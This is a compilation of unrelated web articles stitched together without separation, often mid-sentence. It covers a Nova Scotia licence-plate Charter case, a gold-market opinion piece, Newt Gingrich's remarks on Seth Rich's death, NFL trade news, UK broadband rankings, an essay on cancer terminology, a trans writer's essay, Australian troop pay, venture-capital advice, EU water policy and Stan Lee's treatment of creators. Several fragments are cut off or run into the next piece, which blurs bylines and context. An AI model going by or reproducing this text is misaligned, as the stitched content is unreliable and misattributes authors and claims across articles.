HALIFAX, N.S.: The Justice Centre for Constitutional Freedoms (JCCF.ca) has filed a Notice of Application and Affidavit with the Nova Scotia Supreme Court on behalf of Dartmouth, N.S. resident Lorne Grabher, whose personalized GRABHER licence plate bearing his surname was deemed “socially unacceptable” by the Nova Scotia Registry of Motor Vehicles (“Registrar”). The plate had been in use by Grabher family members for 27 consecutive years without incident.
Hoping to resolve the matter out of court, the Justice Centre wrote to the Registrar on March 31, 2017, requesting that it reinstate the personalized license plate of Lorne Grabher. On April 6, 2017, the Justice Centre received written confirmation from the Registrar that it would not reissue Mr. Grabher’s plate.
Mr. Grabher first purchased the personalized licence plate as a gift for his late father in 1991. It was a source of family pride, spanning three generations. Lorne Grabher’s son Troy has the family name on his own personalized Alberta licence plate.
In his court application, Lorne Grabher seeks a declaration that the decision to revoke his licence plate violates his Charter section 2(b) right to freedom of expression, as well as his section 15 equality rights, and was furthermore “arbitrary, unreasonable, based on irrelevant considerations, an abuse of authority, a denial of procedural fairness, and otherwise invalid.”
“Mr. Grabher and his family were, and remain, deeply offended and humiliated by the cancellation of the plate, and the Respondent’s ongoing insult to their heritage and family name,” states the application.
Justice Centre selling bumper stickers to raise support, awareness
To raise awareness about this court application, the Justice Centre is selling ‘GRABHER’ bumper stickers. These stickers can be purchased online at www.jccf.ca/grabher. Prices reflect the cost of producing and mailing the bumper stickers, and any profit will be put towards the significant costs of defending Lorne Grabher’s Charter rights.I’ve just read what must be the tenth think piece about how awful life is for the poor rural Americans – that they had no choice other than to abandon democratic principles and root for a demagogue. I am a proud son of rural Vermont, and having grown up at my family’s farm store, I learned how to identify bullshit at a young age. As such, I want to clear up the misconception that the poor right-wing rural voters |
“You don’t f*** with cops,” Oborski snarled at Buehler. “You don’t get in our f***ing way. You don’t question us, and we’re going to teach you a lesson.”
Norma Pizana’s plight was strikingly similar to that of Anne Dekins, with at least one critical difference: Dekins and her rescuers were blessed to live in 18th Century England, a relatively civilized society that recognized and protected a free individual’s indispensable right to resist State-licensed criminal violence.
Latest: Antonio Buehler DID NOT Spit On Officer Patrick Oborski Says Eyewitness
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William Norman Grigg [send him mail] publishes the Pro Libertate blog and hosts the Pro Libertate radio program.
Copyright © 2011 William Norman GriggShare. Set for reveal at E3 2015. Set for reveal at E3 2015.
Level-5 Games has revealed it plans to announce a new PS4 title at E3 2015.
Gematsu reports the news comes courtesy of company boss Akihiro Hino, who said in a livestream that the studio behind titles like White Knight Chronicles, Ni No Kuni: Wrath of the White Witch and Fantasy Life will be unveiling a new game.
Exit Theatre Mode
Appearing on the stream to talk about White Knight Chronicles II - as the game is free to PS Plus subscribers in Japan this month - Hiro said he wanted to make a new title that exceeds the scale of White Knight Chronicles.
While we don't know if the title will be a PS4-exclusive or not, speculation is already rife about what we may be seeing. As for us? Well, our fingers are crossed for a sequel to the incredibly beautiful Ni No Kuni. If you haven't already, be sure to check out our review of the truly unique title.
Luke Karmali is IGN UK News Editor. You too can revel in mediocrity by following him on Twitter.Avi Gilburt is author of ElliottWaveTrader.net, a live trading room and member forum focusing on Elliott Wave market analysis. Avi emphasizes a comprehensive reading of charts and wave counts that is free of personal bias or predisposition. A lawyer and accountant by training, he is also managing member of Gilburt Financial Services, LLC, which provides financial markets analysis and consulting. His Elliott Wave analysis appears frequently on sites such as SeekingAlpha, where he is a certified contributor, and TheTechTrader.com with Harry Boxer.
AFP/Getty Images
While Peter Schiff, and others of his ilk, have remained staunchly bullish on gold since the all-time highs in 2011, I feel they have done a terrible disservice to those who have followed them for the last three-plus years of (relative) pain.
Schiff is an uber-bull, or gold bug, as some may call him, who continually calls for $5000 gold. Since markets move in two directions and not just up, I believe that anyone who is uber-anything should be dismissed, as there is no appropriate substance being proffered by simply saying the word up every day. Ultimately, they will be right, but, in this case, you have to deal with a multi-year 40%-60% drawdown before eventually being correct.
Myra Saefong had a piece earlier this week reiterating Peter Schiff's perspective about gold going to $5000. So, let's look at Mr. Schiff's underlying perspective a little more closely, and see if he is finally going to be right. Or should people consider our perspective that Mr. Schiff's followers have more pain to experience in the near term, as metals have a lower low to be seen before the next bull phase takes hold.
First, last year, Mr. Schiff was of the exact same perspective regarding gold, and, he has been of the same perspective on gold since it topped in 2011. However, we called the top to gold within six dollars of the actual top in 2011, while most were still looking for gold to exceed the $2000 mark along with Mr. Schiff. In fact, we even called the downside targets correctly even before gold topped. Since that time, gold has lost 41% of its value from its high to low during this correction. Yet, Mr. Schiff has stayed staunchly bullish during this 40% draw down.
Second, last year, Mr. Schiff maintained the perspective that "renewed weakness in the dollar and strength in oil and other commodities will add to gold's appeal during 2014." Despite its drop, Mr. Schiff simply dismisses it as being "completely out of touch with reality."
I want to digress for a moment and point out something to those that feel that the dollar must drop in order for metals to rise. There is nothing written in stone that states that the dollar must fall for the metals to rise. In fact, if one closely observed the market action since November of 2014 until the end of January of 2015, gold rallied almost 15% while the dollar rallied over 9%. And, yes, we expected both markets to rally together at that time, too.
Third, Schiff seems to claim that only further quantitative easing will cause the metals to rise. But, this was the same perspective he had with all the previous QE programs were instituted by the Fed. We had QE1, QE2, Operation Twist, and then QE3, and metals are still near their lowest levels in four years. Yet, we are to believe that QE4 will be the one that supposedly causes the metals to rise to $5,000? Does anyone else see the inconsistency in this argument?
Fourth, in Schiff's recent interview, he noted that "what is holding gold back... is the idea that the Fed is going to be raising interest rates." Wait a second. For years, all people have been talking about is that a rise in interest rates evidences inflation, which is the real driver of gold. So, isn't the common theme that gold will go up when rates go up, because that is supposedly a signal of inflation?
Yet, when looking a little deeper into what Schiff is now suggesting, it seems that low interest rates are needed to cause gold to rally? Is not a drop in rates commonly viewed as being associated with periods of deflation? So, is it deflation which will cause gold to rally or is it inflation?
The answer is that gold's movement is not based upon either if you look honestly at the history of gold's movements. Let's take a look at the 2007-2009 time frame, which evidenced the most recent period of deflation in our markets, and see if we can glean anything from the metals action in relation to deflationary market pressures and dropping interest rates.
We all know that the S&P 500 topped in October of 2007 and began an estimated 300-point decline into March of 2008, and then we saw a corrective bounce in the equities for a couple of months. During that same period of time, the metals continued to rally. So, here we have "evidence" of the metals supposedly rising during a period of deflation.
But, when we then look toward the May 2008-March 2009 severe decline in the equity market, we witnessed the metals also experienced significant declines within that time period. In fact, gold lost a little more than 30% (yet, rallied again, thereafter). So, when one is presented with these facts, does it make sense that the metals are surely going to rise during periods of deflation and/or low interest rates?
One has to put aside their personal biases toward the metals and recognize that they are not necessarily going to rise during periods of deflation, or due to the drop in the dollar or interest rates. Oddly enough, metals can rally during periods of deflation or dollar appreciation, and they can fall during periods of deflation and dollar appreciation.
The same applies to periods of inflation as well. I know you are likely thinking to yourselves, "Avi has really lost it this time." But in all honesty, how can you come to terms with the reality of how they reacted during the 2008 broad equity market carnage, which was clearly a deflationary event? Did they act as the supposed "safe haven" during the strongest period of deflationary pressures experienced since the Great Depression, especially while interest rates were dropping precipitously?
The one thing said by Mr. Schiff with which I agree is that "the moves in gold come in waves." And, these wave movements are driven by waves of sentiment. That is exactly what we track. In fact, not only did the tracking of market sentiment allow us to make various calls, such as the drop into the November 2014 low, but at this time, unlike Mr. Schiff, we still believe that lower lows and more pain are still in store for those that have been continually bullish since 2011.
So, I would urge anyone reading prominent pundit "expectations" about metals to test them against the reality of the price action history. If someone suggests to you that it is a matter of interest rate sensitivity or an inflation/deflation argument or a factor of quantitative easing, you need to think long and hard about if the price history of metals supports their proposition. I suggest that it will not.
Rather, metals are purely a sentiment trade, and unless you understand how sentiment drives metals, you will more than likely be caught on the wrong side of a popular fundamental argument. Ultimately, he will be right. But, do we all have the deep pockets to be able to withstand yet another drop to lower lows before being proven right?
See chart on GLD 2007-2009.Former House Speaker Newt Gingrich floated whether the death of a DNC staffer was related to Wikileaks' release of thousands of emails. Gingrich contended that there are scenes where you realize "dangerous things are going on in the world" — like in his espionage novels.
Gingrich made the comments on the Mike Gallagher Show on Wednesday when asked about WikiLeaks founder Julian Assange floating the possibility this week that a murdered Democratic staffer was an informant for the organization. (Assange said the organization protected the anonymity of its sources, while also saying the death was "concerning.")
"First of all, of course it's worth talking about," Gingrich said. "And if Assange says he is the source, Assange may know. That's not complicated. Whether it has any meaning in the presidential campaign, I don't know, but obviously, look, I'm old fashioned. I think not only do black lives matter, I think all American lives matter."
Seth Rich, a DNC employee who did voter outreach, was shot to death last month early in the morning in Washington, D.C. The case is unsolved and police have speculated it was an attempted robbery. After Assange's comments, Rich's family released the following statement:
"The family welcomes any and all information that could lead to the identification of the individuals responsible, and certainly welcomes contributions that could lead to new avenues of investigation. That said, some are attempting to politicize this horrible tragedy, and in their attempts to do so, are actually causing more harm than good and impeding on the ability for law enforcement to properly do their job. For the sake of finding Seth's killer, and for the sake of giving the family the space they need at this terrible time, they are asking for the public to refrain from pushing unproven and harmful theories about Seth's murder."
On Reddit, Rich’s death has become the source of theories about whether he was involved in the leaks of emails and files from the Democratic National Committee last month. US intelligence officials have linked the leak to a Russian hack, though there has been no official conclusion on the matter.
"If someone is gunned down in our national capital, we ought to have a pretty passionate interest in knowing why," continued Gingrich. "And if it clearly wasn't a mugging and it wasn't for money, what was it for? I think just in that sense, as you know I've written two novels: Duplicity about terrorism and the presidential campaign and the follow-one Treason is coming out. We have these kind of scenes in there where you begin to realize that there are dangerous things going on in the world."
"I think part of what happens to all of us though is there is so much clutter, but it's all about Hillary and the emails," he said. "There are so many different points of sickening corruption between Bill, the foundation, the secretary of state's office, the emails. There's so much of it you can't get it straight."The Washington Redskins have no plans -- or any interest -- in trading backup quarterback Kirk Cousins, league sources told ESPN NFL Insider Adam Schefter.
Cousins had told the Redskins after the season that he would welcome a trade and recently reiterated his desire publicly.
"Nothing changes from the day I was drafted," said Cousins, a fourth-round pick in 2012 -- three rounds after Robert Griffin III. "There's no chance to compete, so if I can't get it in D.C., I'd be open to having that chance somewhere else."
But the Redskins like Cousins as insurance for Griffin, coming off a tough 2013 that began with knee surgery and ended with him being benched for the final three games. Cousins said new coach Jay Gruden made it clear to him that Griffin will be the starter. Also, Gruden's agent, Bob LaMonte, said one reason his client was intrigued by this job was Griffin's potential.
Cousins is under contract through the 2015 season so there's no urgency to deal him at this time. It's uncertain if the Redskins' stance would change should another team make a can't-refuse offer.
Earlier this week, the Washington Post reported the Redskins wanted at least a second-round pick for Cousins, a high price given his relative inexperience. Cousins has started four games for Washington and appeared in four others. He has completed 56.2 percent of his passes for 1,320 yards with eight touchdowns and 10 interceptions. As a starter, he's thrown for 1,176 yards, six touchdowns and seven interceptions.
Last week, Cousins said he could accept whatever happened.
"I won't lose a lot of sleep over the unknowns," Cousins said. "If it doesn't present itself, then I enjoyed being part of the Redskins and look forward to being with them. Until I'm told otherwise, I'm a Redskin and I expect to handle the role as No. 2 as best I can."BROADBAND users in one Scottish road suffer a download speed almost 300 times slower than those in a street enjoying the UK’s fastest service, a study has found.
Halsey Drive in the village of Edzell in rural Aberdeenshire has the third-slowest broadband location in the UK, according to a new survey.
A study of more than 2.26 million speed tests found that the street recorded average download speeds of just 0.25Mbps (megabits per second).
It would take a sluggish 2min 40sec to download a single song at that speed.
At the other end of the scale, Willowfield in Telford – the fastest location for downloads in Britain – registered super-fast speeds of 70.9Mbps – 284 times quicker than the rural Scottish location. Cromarty Road in Stamford, Lincolnshire, was the slowest street for broadband in the UK, with speeds of just 0.132Mbps.
Scotland had four locations inside the top 50 slowest recorded as part of the study by independent price comparison service uSwitch.
Kirkton Road in Fenwick, East Ayrshire, was 13th in the undesirable rankings, with download speeds averaging a poor 0.429Mbps.
Redhall Road in Templand, Dumfries and Galloway, was 26th, with 47th spot going to Ardgay Road in Bonnybridge, Falkirk.
The government is targeting 100 per cent access to basic broadband – classed as speeds of about 2Mbps – by 2015.
Ninety per cent of the population would also have access to superfast services exceeding 24Mbps under those government targets.
Julia Stent, broadband spokeswoman for uSwitch.com, said: “The massive discrepancy between the fastest and slowest streets in Britain shows what the government is up against in its fight to drag Britain into the broadband fast-lane. These results show just how ambitious it is being in its bid to overtake the rest of Europe and haul Britain in line with the likes of South Korea and Singapore by bringing super-fast broadband to 90 per cent of the UK.
“Rural parts of Britain, in particular, are still experiencing broadband speeds so slow that they might as well have no broadband at all. But, worryingly, the government’s super-fast broadband roll-out is heavily geared towards urban areas, which will only widen the rural-urban broadband gap.”
The study data was gathered via uSwitch’s website from April to September this year.
Merkland Road in Aberdeen made the cut when it came to Britain’s ten fastest streets for downloading – with average speeds of 62.96Mbps making it fifth in the survey.
The slowest and fastest broadband areas
Slowest
1. Stamford, Lincolnshire (0.132Mbps)
2. Wellington Heath, Herefordshire (0.192Mbps)
3. Halsey Drive, Edzell, Aberdeenshire (0.25Mbps)
4. Lincoln, Lincolnshire (0.259Mbps)
5. Clacton-on-Sea, Essex (0.26Mbps)
Fastest
1. Telford, (70.90Mbps)
2. Allenton, Derby (67.10Mbps)
3. Southend-on-Sea, Essex (66.97Mbps)
4. Beverley, Yorkshire (64.28Mbps)
5. Merkland Road, Aberdeen, (62.96Mbps)It is more than 12 years since the writer and broadcaster John Diamond wrote his cancer diary, recording all that happened to him from diagnosis to near-end. Starting as a sceptic, with a distrust of conventional medicine and its practitioners, he went on to explore the various complementary and alternative systems and concluded with his book Snake Oil and Other Preoccupations, a skilful and often very funny exposé of those who exploit vulnerable people by offering false hope.
There have been a number of accounts in the press, notably by Philip Gould, Christopher Hitchens, Iain Banks and others, who have undergone physical and mental ordeals in receiving treatment for a terminal illness. Perhaps the most poignant message came from the poet and translator James Michie, who wrote, just before he died, I used to fancy crabmeat as a treat: Now Crab’s the epicure, and I’m the meat.
These courageous and articulate people deserve our sympathy and respect but their experiences are not typical. While suffering and death are newsworthy, the stories of the thousands who are quietly cured never reach the headlines.
At this point, I should declare my credentials. During a lifetime’s work as a surgeon in the NHS, I treated many people with cancer in various parts of the body. About 30 years ago, mid-career, I was found to have a malignant tumour; my chances of surviving for five years were less than one in 20. Following chemotherapy, radiotherapy and eventually major surgery, I made a good recovery and am lucky to be able to write these words today. The experience taught me a lot and profoundly influenced my attitude to those of my patients with similar problems.
Then, many years later, I noticed a small lump beside my nose which I recognised as a basal cell carcinoma: a tumour that, left untreated, would have spread and destroyed my whole face. A colleague removed it under local anaesthetic and I have had no trouble since. In a letter to the Times in April 2011, I suggested that the practice of including these two conditions under the same emotive label of cancer (“the Crab”) was misleading and should be abandoned.
We now know a great deal about the causation and behaviour of cancer, far more than when I started my career in medicine. From the moment of conception when the sperm meets the egg, the embryo undergoes trillions of cell divisions, controlled by the code of its inherited DNA, eventually resulting in the birth of a complete human being with unique characteristics. Growth continues into adult life but is necessarily regulated and balanced by a process known as “apoptosis”, which involves cell death. Normal cells have a limited lifespan and when they have outlived their usefulness they are knocked out. Cancer cells are different, in that they are not subject to apoptosis and, having escaped from supervision – either through a gene mutation or as a result of damage to the DNA by an aggressive chemical such as is found in tobacco smoke – they continue to multiply.
This process can be replicated in the laboratory. If you take a small sample of cells from your mouth and put them in a Petri dish with warm water and nutrients, they will continue to divide quite happily until one day you find that they have all died. In 1951, an African-American woman called Henrietta Lacks developed a growth on the cervix of her uterus. Cells cultured from her tumour did not die and, as far as I know, are dividing to this day in laboratories all over the world, providing us with a priceless means of studying the behaviour of cancerous tissues.
As cancer cells multiply in a human body, they form an expanding tumour, which compresses and damages neighbouring structures. Eventually, some of them may break off into the circulation and form colonies (metastases) in other parts of the body.
The extent to which this happens defines the degree of malignancy of the tumour.
Relatively benign lesions such as the one on my nose remain in the same place, whereas the one that I’d developed many years previously had the capacity to kill me, had it not been for the excellent treatment that I received from the NHS.
Today, not only do we understand how these diseases progress but we also have better means of combating them, whether by surgery, or radiotherapy, or drugs that block cell division. As a result, many tumours that were considered lethal in my day are now susceptible to treatment, if not curable. These include some forms of childhood leukaemia, Hodgkin’s lymphoma and the testicular cancer known as seminoma. We are making good progress with breast and bowel cancer and, to a lesser extent, with growths in the lungs and stomach.
Cancer is not a diagnosis. It is a label – and a misleading one at that, given the wide range of conditions that it covers. People labelled as cancer victims constitute a target group for hard-nosed entrepreneurs. An internet search for alternative cancer treatments leads to a huge range of products that are advertised as “natural ways in which to attack and kill your cancer”.
Note the use of the word “kill”, rather than “cure”. Most of these preparations do not claim to cure cancer because (in this country, at any rate) such a boast would be illegal.
The terms “gentle”, “natural” and “without harmful chemicals or side effects” occur frequently. These advertisements are principally aimed at the terminally ill and those who have been told by their doctor that there is nothing more to be done.
These desperate people are the ones most likely to pay for alternative therapies and it is interesting to note that though there is plenty of advice on dosage (start with three bottles a day and increase as necessary, for example), there is no mention of price. The ugly little dollar sign appears only once an order has been placed.
Dr Stanislaw Burzynski of Houston, Texas, attracts desperate people from all over the world to his multimillion-dollar cancer clinic. His methods employ a group of substances that he identified and named “antineoplastons”, which are concocted from a mixture of amino acids found in urine. Some people have experienced a remission, albeit temporary, and their cases are backed up by enthusiastic endorsements from grateful relatives. However, although there have been many requests for a controlled trial, none has ever been conducted in a form acceptable to mainstream scientists and it is impossible to know how often these treatments result in failure.
Neighbouring clinics in Houston spend much time and money in caring for Burzynski’s former patients before they finally expire. Although his methods have been repeatedly criticised in the scientific literature, there seems to be no means of stopping him pursuing these questionable activities. He would be a comical figure – a kind of Donald Duck with a stethoscope – except that the life events in which he trades are pain, tragedy and bereavement.
We need to demystify the problem. Cancer is ordinary; it is normal; it affects all of us indirectly and one in three of us will get it. To treat it as a sort of fairy-tale giant to be fought and conquered is to fuel unnecessary fear. The journalist Matt Ridley wrote in the Times in June: “Cancer fights hard. We must be bold to beat it.” Yet what we need is not boldness but patient, objective, scientific study, building theories on the known facts, testing them and rejecting those that do not work.
According to members of the US National Cancer Institute, writing in the Journal of the American Medical Association this summer, the term cancer “invokes the spectre of an inexorably lethal process; however, cancers are heterogeneous and can follow multiple paths, not all of which progress to metastases and death, and include indolent disease that causes no harm during the patient’s lifetime”. The group urges that the word be used to describe only “lesions with a reasonable likelihood of lethal progression if left untreated”; pre-malignant conditions should not be labelled as cancers or neoplasia, nor should the word “cancer” feature in the condition’s name, it argued.
We badly need a new expression to replace an obsolete and misleading term. I suggest “dDNA” (damaged DNA), which, after all, does reflect what is going on. When people ask their doctor the question, “Have I or have I not got cancer?” they expect a straight answer, but the question is not straight.
A response might be: “We don’t use that word any more. What we do say is that you have a dDNA problem, which includes all sorts of tumours, some of them very dangerous and others much less so. In your case, we need to do further tests and investigations, at the end of which we will be able to get together and form a plan of action to put you right.”
Adrian Marston is a former president of the Association of Surgeons of Great Britain and Ireland. He published his first article for the New Statesman, on Portuguese politics, as a 20-year-old medical student in 1948. This is his second article.Several weeks ago, in response to the anti trans "bathroom bills" popping up across the country, I posted some selfies that I took in women's bathrooms. This is the first image I posted, that went viral.
The overwhelming majority of people who responded to these photos were encouraging and supportive. What I never anticipated, however, were the negative responses from some trans people, regarding "passing." This is a topic that comes up often in conversations and it's almost always a touchy subject. Personally, I don't like the term at all. When we talk about someone passing as male, or passing as female -- we're suggesting that they are being seen as someone they are not. I don't pass as a man, I am a man. But for the sake of this piece, and understanding the issues surrounding how society perceives trans people, I will use this language.
The comments I've received, that bothered me the most, were the ones suggesting that my taking these selfies and sharing them was "unfair to the trans community", and that I was "promoting the idea that all trans people should look a certain way to access the bathroom of their choosing." And the one that was especially troublesome, "a cis ideal shouldn't be the standard for what counts as a gender." Let me say, above all else, that I do understand that some trans people have an easier time blending into society as their true gender. I also acknowledge that there is a privilege attached to not having your trans status visible to others. But like other privileges attached to who we are in this world -- it's how we use that privilege that is important.
I started using men's restrooms before I even transitioned and have had no issues. I could have continued to do so without incident. Instead, I chose to out myself publicly. Now, for the first time in nearly 20 years, I have to worry when I go to the men's room that someone will recognize me and know I am trans. I knowingly and happily made that choice for all my trans brothers and sisters who have to worry every time they use a public restroom. The conservatives responsible for these "bathroom bills" just have one picture in their head. They are primarily targeting trans women. I'm sure many of them never even considered a bearded trans man walking into the women's room. I wanted to change their paradigm. I wanted to challenge their assumptions that you can always tell when someone is trans.
We have a significant problem brewing, when transgender people who do have passing privilege, are made to feel as though their voice can't have an impact. I acknowledge that I have passing privilege, but that doesn't take away my struggles growing up and navigating the world as a trans person. It certainly doesn't diminish my trans voice in these conversations. So rather than remain quiet and enjoy my privilege -- I chose to out myself to the world. While the negative comments do sting, I don't regret what I did. The positive comments far outweigh the negative. However, it's the messages from the youngest of our community, the people new to transition, that have been empowered to bravely move forward in their journey, that mean the most to me.
How far will this downward spiral, of who's the most oppressed and most marginalized in the trans community go? Why can't we, as a community, accept that each trans person has their own unique experience that comes with its own challenges? This should not be a competition as to which of us society treats the worst. What are we saying to our detractors, and to the powers that be, when we point fingers at and judge one another? How many trans voices will be silenced for fear of being accused of being an unfair representation?Military personnel serving in Afghanistan are set to have their daily pay bonus cut after Defence assessed that the operation in the strife-torn country has entered a less dangerous phase.
And troops serving in the new Iraq campaign against Islamic State militants, who include special forces advisers and RAAF air crews, will receive the same lower allowance for so-called "warlike service" because Defence deems that work less risky than Afghanistan was at the height of the war there.
Lower allowances: The cut to Australian troops' pay is likely to be controversial.
The cut to the Afghanistan allowance is likely to be politically sensitive, following a recent contentious pay deal that will lift military personnel pay by less than inflation, meaning they will get a pay cut in real terms.
The daily bonus for personnel serving through the Afghanistan campaign, which included years of fierce combat and the loss of 41 Australian diggers' lives, has been $200 a day. That will continue up to December 31, though Australia's main base at Tarin Kowt closed down at the end of last year, leaving only about 400 troops mainly stationed in the capital Kabul in training and advisory roles.How to Take on Venture Capital Without Losing Control of Your Start-Up
Considering options for funding your start-up? Wondering if now is the right time to seek venture capital, but worried about losing control of your business?
Here are some tips for weighing your funding options, finding the right venture capital firm for your needs, and working with them once you’ve received your first injection of seed money.
Is Venture Capital Right for Your Small Business?
If you are looking for funding under $200,000, smaller angel investors (this could include borrowing from family and friends) or peer-to-peer lending or crowdfunding might be better options than a larger VC firm. Other alternatives include SBA loans. SBA doesn’t provide the loan; instead, they provide a repayment guarantee to banks, removing much of the risk of lending to small businesses. If your business is engaged in a high-tech industry or R&D, another option is a Small Business Innovation Research Grant. These federal funds support the critical start-up and development stages of small businesses.
Finding the Right VC Firm
If you have a proof of concept and are ready for a significant investment to fund your next stage of growth, then venture capital (VC) might be for you. But how do you find the right VC firm with which to align your business?
Given that a VC firm is going to be involved in your business’ funding and management, choosing one that provides a good match for your business is critical. Look for companies that have experience with businesses and industries like yours. Since a VC is going to be actively involved in your business, other factors such as its personality and core values are also important. A VC that is located close by might also be important.
So where can you find potential VC investors? If you have a good network then there’s a strong likelihood you can pinpoint potential investors via this route. Start locally and extend your search from there. Here are some tips and resources that can help:
Start in your Community – If you are involved in a local Chamber of Commerce or other small business group, start your search here. Talk to experts and business peers alike. Small Business Development Centers (SBDCs) and Women’s Business Centers may also be able to help introduce you to local investors. Find a center here.
– If you are involved in a local Chamber of Commerce or other small business group, start your search here. Talk to experts and business peers alike. Small Business Development Centers (SBDCs) and Women’s Business Centers may also be able to help introduce you to local investors. Find a center here. Talk to Your State Economic Development Agency – At the state level, State and Local Economic Development Agencies may be able to help refer you to investors in your region.
– At the state level, State and Local Economic Development Agencies may be able to help refer you to investors in your region. Consider Trade Associations – Most industries are represented by a trade association, this is another great place to expand your search and meet potential investors. You can also look into national and local investing and venture capital groups like the National Venture Capital Association and the Angel Capital Association.
Your next step is to present any potential investor with a business plan. SBA’s online Build a Business Plan tool can help you create one.
How to Maintain Leadership Control of Your Company
Many small business owners are reticent to invite VC funding because they’re concerned about losing control of their business. While it’s true that a VC firm will insist on controlling more than 50 percent of an early-stage entrepreneurial enterprise—does this mean you actually relinquish control of your business? Not necessarily. VC deals are structured around mutual incentives and milestones that are beneficial for all, and are rarely about one-sided control. VCs want business founders to aspire to grow and succeed, and they structure the financing deals to ensure this. For example, the terms of typical VC financing dictate that the investors don’t realize a profit until management does (assuming that they’ve already seen a return in capital invested) and vice versa.
Another emerging trend, as reported by the New York Times, is that VCs are increasingly putting a premium on young, visionary entrepreneurs who grew up with the Internet, social media and mobile technologies. With this clout behind them, these young founders are becoming more assertive in funding rounds, securing better terms and even cashing out their investors before an initial public offering.
That’s not to say your VC can’t move to replace you if your business isn’t performing or hitting key milestones. Some other things you can do to ensure you retain some level of control include the following:
Insist on an Employment Contract – This can minimize the risk of founders getting fired by their board of directors. Negotiate this before any seed money has exchanged hands.
– This can minimize the risk of founders getting fired by their board of directors. Negotiate this before any seed money has exchanged hands. Hire Stellar Employees – Poor staff will compromise the success of your business and jeopardize your position on the management team. By hiring right, you’ll ensure key milestones are understood and met, and profits are realized.
– Poor staff will compromise the success of your business and jeopardize your position on the management team. By hiring right, you’ll ensure key milestones are understood and met, and profits are realized. Collaborate with your Investors – In addition to funding, investors bring a wealth of experience. Capitalize on this and treat your VC as a partner—not as a threat.
For other tips, read Surprising Ways to Maintain Control of Your Business with Investor Approval from Yahoo Small Business Advisor.
Has your business sought VC financing? What best practices can you share for working with VCs? Leave a comment below.The European Water Framework Directive has been in force since 2000. Its purpose is to ensure that rivers, lakes, coastal waters and groundwater achieve a 'good status' by 2027. This means that bodies of water should contain only minimal pollutants and should provide a near-natural habitat for plants and animals. Crucially, the European Water Framework Directive looks at bodies of water without regard to international borders -- in the case of rivers, from source to estuary. "This is globally unique in this form. It's the reason why many countries regard the European Water Framework Directive as an ideal model," says environmental chemist Dr. Werner Brack from the UFZ.
However, Europe still has a long way to go to achieve its goal. In many places there is a need to implement concrete measures to improve the water body structure, restore the continuity of surface water and reduce contamination with nutrients and pollutants with much more consistency than has been the case so far. "But the directive itself also has shortcomings, which is why it needs to be revised by 2019," says Werner Brack. Under his leadership, scientists from the European research project SOLUTIONS and the European research network NORMAN have carefully examined these shortcomings and come up with recommendations for improved pollutant monitoring and water management.
Improving monitoring
The Water Framework Directive currently lists 45 pollutants referred to as priority substances. To have good water quality, a body of water is only allowed to contain small amounts of these substances. However, there are also more than 100 000 different chemical substances which we use every day and which end up in our environment and our water. So, most of these are not included in the assessment of water quality under the current EU Water Framework Directive. "Monitoring based on individual substances is expensive, ignores the majority of substances and fails to address the actual problems. Most of the priority substances were already removed from the market and replaced with other chemical substances with often very similar effects. Adding new substances to the list is a cumbersome political process," says Brack. Furthermore, the Water Framework Directive has so far been limited to the testing of individual substances. However, pollutants don't affect the environment individually, but exhibit higher toxicity together than the single compounds do individually.. "It's not the presence of a polluting substance that's crucial |
to The Superhero Women and Bring on the Bad Guys. These books all detailed his perspective of his creative relationships with the artists in the Bullpen especially his dependancy on his numero uno illustrator, “Jolly” Jack Kirby.
Stan seemed to do all this with an intention of elevating the appreciation of comic creators with both the public and the industry. He assesses that the writing in comics prior to the inception of the Marvel style “…left just a little bit to be desired.”
To make his point he writes:
“Who were these people who actually created and produced America’s comic books? To answer that burning question we must be aware that comics have always been a high-volume low-profit-per-unit business. Which is a polite way of saying that they never paid very much to the writers or artists. If memory serves me (and why shouldn’t it?), I think I received about fifty cents per page for the first script I wrote in those early days. Comics have always been primarily a piecework business. You got paid by the page for what you wrote. the more pages you could grind out, the more money you made. The comic book writer had to be a comic-book freak, he had to be dedicated to comics; he certainly couldn’t be in it for the money. And unlike most other forms of writing, there were no royalty payments at the end of the road… no residuals…no copyright ownership. You wrote your pages, got your check, and that was that.”
We all know that Stan Lee values credits highly and was sure to plaster his own name on every Marvel comic. Stan Lee Presents and Stan’s Soap Box were as much of the part of the Marvel experience as anything else. His famed sign-off,“Excelsior!”, still brings a giddy rush to a generation of comic book fans. In an effort to instill some added pride to the work of the comic creators in the Bullpen, Stan began putting credits of all the creators in the comics Marvel produced.
“…I’ve frequently mentioned Jolly Jack Kirby as our most ubiquitous artist-in-residence. He wasn’t christened Jolly Jack –– sometimes he wasn’t even that jolly –– but I got a kick out of giving alternative nicknames to our genial little galaxy of superstars, mostly for the purpose of enabling our readers to remember who they were. You see, prior to the emergence of Marvel Comics, the artist and writers who produced the strips, as well as the editors, art directors, and letterers, were mostly unknown to the reader, who rarely if ever saw their names in print. In order to change that image and attempt to give a bit more glamour to our hitherto unpublicized creative caliphs, I resorted to every deviceI could think of –– and the nutty nicknames seemed to work.”
And it did work! Joe Rosen, a letterer in those days said in COMICS INTERVIEW #7, “That’s why I admire Marvel. By instituting credits, they made you feel prouder of your work. And by being so successful they revamped the industry and launched so many titles that they made it possible to have a professional career.”
Stan knew that to be successful you have to make those around you successful. He did this by giving credit and creating work. Most of which went to Jack Kirby.
Throughout the Origins series and, actually, most of his career, Stan always spoke very highly of Jack Kirby and his creative contributions. Some of those very telling remarks have been posted on the Kirby Museum website in Robert Steibel’s Kirby Dynamics but I have to refer to a quote in Son of Origins where Stan Lee completely asserts Jack Kirby’s role:
“Jack was (and still is)* to superheroes what Kellog’s is to corn flakes. When such fabulous features as The Fantastic four, the Mighty Thor, and The Incredible Hulk were just a-borning, it was good ol’ Jackson with whom I huddled, harangued, and hassled until the characters were designed, the plots were delineated, and the layouts were delivered so that I could add the little dialogue balloons and captions with which I’ve spent a lifetime cluttering up the illustrations of countless long-suffering artists.”
(*This was written during a period when Jack Kirby had left Marvel and gone to DC, unhappy because he was not being paid for what he considered “writing” at Marvel according to Carmine Infantino in his autobiography The Amazing World of Carmine Infantino. Kirby no longer wanted to be “second fiddle” and even declined an opportunity to collaborate with Joe Simon for the same reason though the pair did do a single issue of Sandman together.)
Stan recognized that his greatest resource was his talent pool and, short of finding ways to give them ownership in their creations, he looked for other ways to keep them happy. Stan was even the first president of The Academy of Comic Book Arts that he started with Neal Adams. The ACBA was to be the start of a comic creator’s union of sorts but did not last long.
